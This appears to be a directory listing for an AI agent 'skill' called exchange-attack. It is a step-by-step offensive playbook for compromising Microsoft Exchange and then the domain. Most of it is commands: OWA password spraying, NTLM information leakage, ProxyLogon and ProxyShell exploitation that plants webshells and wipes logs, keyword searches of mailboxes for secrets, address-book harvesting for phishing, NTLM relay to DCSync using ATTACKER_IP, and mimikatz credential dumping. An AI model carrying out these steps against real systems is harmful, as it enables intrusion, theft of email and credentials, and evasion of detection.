SuperAPI AI Directory

exchange-attack

Security & auditing

View repository

Updated 10-16 04:41

About this skill

Exchange mail server attack methodology

Exchange holds an extremely high position in a domain environment—it typically has Domain Admin-level privileges, stores the entire company's email, and holds the full employee directory. Compromising Exchange is almost equivalent to taking over the entire domain.

Phase 0: Discovery and Fingerprinting

0.1 Exchange Path Discovery

# 常见 Exchange 路径
curl -sk https://TARGET/owa           # Outlook Web App
curl -sk https://TARGET/ecp           # Exchange Control Panel(管理)
curl -sk https://TARGET/autodiscover/autodiscover.xml
curl -sk https://TARGET/mapi/nspi     # MAPI/HTTP
curl -sk https://TARGET/rpc           # RPC over HTTP
curl -sk https://TARGET/oab           # Offline Address Book
curl -sk https://TARGET/ews           # Exchange Web Services
Version Identification (extracted from the OWA page or HTTP headers)

curl -sk https://TARGET/owa -D- | grep -i "x-owa-version|x-feserver"


### 0.2 版本与补丁判断

| Build 版本 | Exchange 版本 | 关键 CVE |
|------------|---------------|----------|
| 15.0.x | Exchange 2013 | ProxyLogon, ProxyShell |
| 15.1.x | Exchange 2016 | ProxyLogon, ProxyShell, ProxyNotShell |
| 15.2.x | Exchange 2019 | ProxyLogon, ProxyShell, ProxyNotShell |

## Phase 1: OWA 密码喷洒

OWA 是域凭据认证,成功登录 = 获得域用户凭据。

```bash
# 使用 spray 工具
spray -owa2 https://TARGET/owa -u users.txt -p 'P@ssword123'

# 使用 MailSniper
Invoke-PasswordSprayOWA -ExchHostname TARGET -UserList users.txt -Password 'Summer2024!'

# 使用 ruler
ruler -k --domain TARGET --username user@domain.com --password 'Pass123' brute

# 使用 nxc (NetExec)
nxc owa TARGET -u users.txt -p passwords.txt --module owa

# 用户名来源:
# 1. GAL 提取(如果有一个低权限账户)
# 2. LinkedIn OSINT → 推测邮箱格式
# 3. /autodiscover + NTLM → 域名获取

NTLM Information Leakage

# 通过 NTLM 认证握手提取域信息
curl -sk https://TARGET/autodiscover/autodiscover.xml -H "Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==" -D-
# 从 NTLM Challenge 响应中解码出:域名、服务器名、DNS 域名
# 使用 ntlm_challenger.py 或手动解码 Base64

# 或用 nmap
nmap -p 443 --script http-ntlm-info --script-args http-ntlm-info.root=/owa TARGET

Phase 2: ProxyLogon (CVE-2021-26855 + CVE-2021-27065)

2.1 Vulnerability Detection

# SSRF 检测
curl -sk "https://TARGET/owa/auth/x.js" \
  -H "Cookie: X-AnonResource=true; X-AnonResource-Backend=TARGET/ecp/default.flt?~3" \
  -D-
# 200 状态码 + Exchange 管理页面内容 → 存在漏洞

# 或用 nmap 脚本
nmap -p 443 --script http-vuln-cve2021-26855 TARGET

2.2 Exploitation

# 使用 proxylogon exploit
python3 proxylogon.py -t https://TARGET -e admin@domain.com

# 步骤:
# 1. SSRF 获取后端管理员 SID
# 2. 用 SID 伪造 ECP Session
# 3. 通过 ECP 写入 webshell(OAB VirtualDirectory)
# 4. 访问 webshell 获取 SYSTEM 权限

# 清理痕迹
# 删除写入的 aspx webshell
# 清理 ECP Activity log

Phase 3: ProxyShell (CVE-2021-34473 + CVE-2021-34523 + CVE-2021-31207)

# 检测 — 访问 autodiscover
curl -sk "https://TARGET/autodiscover/autodiscover.json?@evil.com/owa/?&Email=autodiscover/autodiscover.json%3F@evil.com"
# 200 且返回 JSON → 存在 SSRF

# 利用 — 通常使用现成 exploit
python3 proxyshell_rce.py -u https://TARGET -e admin@domain.com

# 步骤:
# 1. /autodiscover SSRF → 获取 LegacyDN + SID
# 2. 用 SID 获取 EWS 访问权限(降权到 SYSTEM)
# 3. 通过 PowerShell Remoting 写 webshell

Phase 4: Mailbox Search and Data Extraction

After logging in to OWA or obtaining EWS access:

4.1 Searching for Sensitive Emails

# 使用 MailSniper 搜索关键词
Invoke-SelfSearch -Mailbox user@domain.com -ExchHostname TARGET \
  -Terms "密码","password","VPN","key","secret","credentials"

# 使用 EWS API 搜索
# 搜索主题含关键词的邮件

4.2 GAL Global Address List Extraction

# 获取所有域用户邮箱(用于后续密码喷洒/钓鱼)
# MailSniper
Get-GlobalAddressList -ExchHostname TARGET -UserName user@domain.com -Password 'Pass123'

# 通过 OAB(Offline Address Book)
curl -sk https://TARGET/oab/ --ntlm -u 'domain\user:Pass123'

# 导出用户列表用于密码喷洒

4.3 Email Export

# 导出指定用户邮箱(需要管理员权限)
New-MailboxExportRequest -Mailbox admin@domain.com -FilePath \\exchange\c$\temp\admin.pst
# 或通过 EWS 逐封下载

Phase 5: Exchange to Domain Controller

5.1 Exchange Privilege Escalation

The Exchange server is by default a member of the Exchange Windows Permissions group, which has WriteDACL permissions on the domain:

# 使用 privexchange(CVE-2019-0686/0724 类似思路)
# Exchange → 强制认证到攻击者 → NTLM 中继到 LDAP → 给自己加 DCSync 权限
python3 privexchange.py -ah ATTACKER_IP TARGET -u user -p 'Pass123' -d domain.local

# 结合 ntlmrelayx
ntlmrelayx.py -t ldap://DC_IP --escalate-user compromised_user

5.2 Exchange Server Local Privilege Escalation

# Exchange 服务器通常以 SYSTEM 运行
# 通过 webshell → SYSTEM 权限 → 导出内存/凭据
# 使用 mimikatz 或 SafetyKatz 提取凭据
# 可能直接获取域管 NTLM Hash

Decision Tree

发现 Exchange (OWA/ECP)
├── 版本识别 → 检查 ProxyLogon/ProxyShell/ProxyNotShell
│   ├── 存在漏洞 → RCE → SYSTEM → 域控
│   └── 已打补丁 → 继续
├── NTLM 信息泄露 → 获取域名
├── OWA 密码喷洒 → 获取域凭据
│   ├── 成功 → 登录 OWA → 搜索敏感邮件
│   ├── 成功 → GAL 提取 → 更多用户名 → 更多喷洒
│   └── 失败 → 尝试 /autodiscover NTLM 喷洒
├── 有凭据后 → EWS/PowerShell 远程管理
└── 高权限 → privexchange → DCSync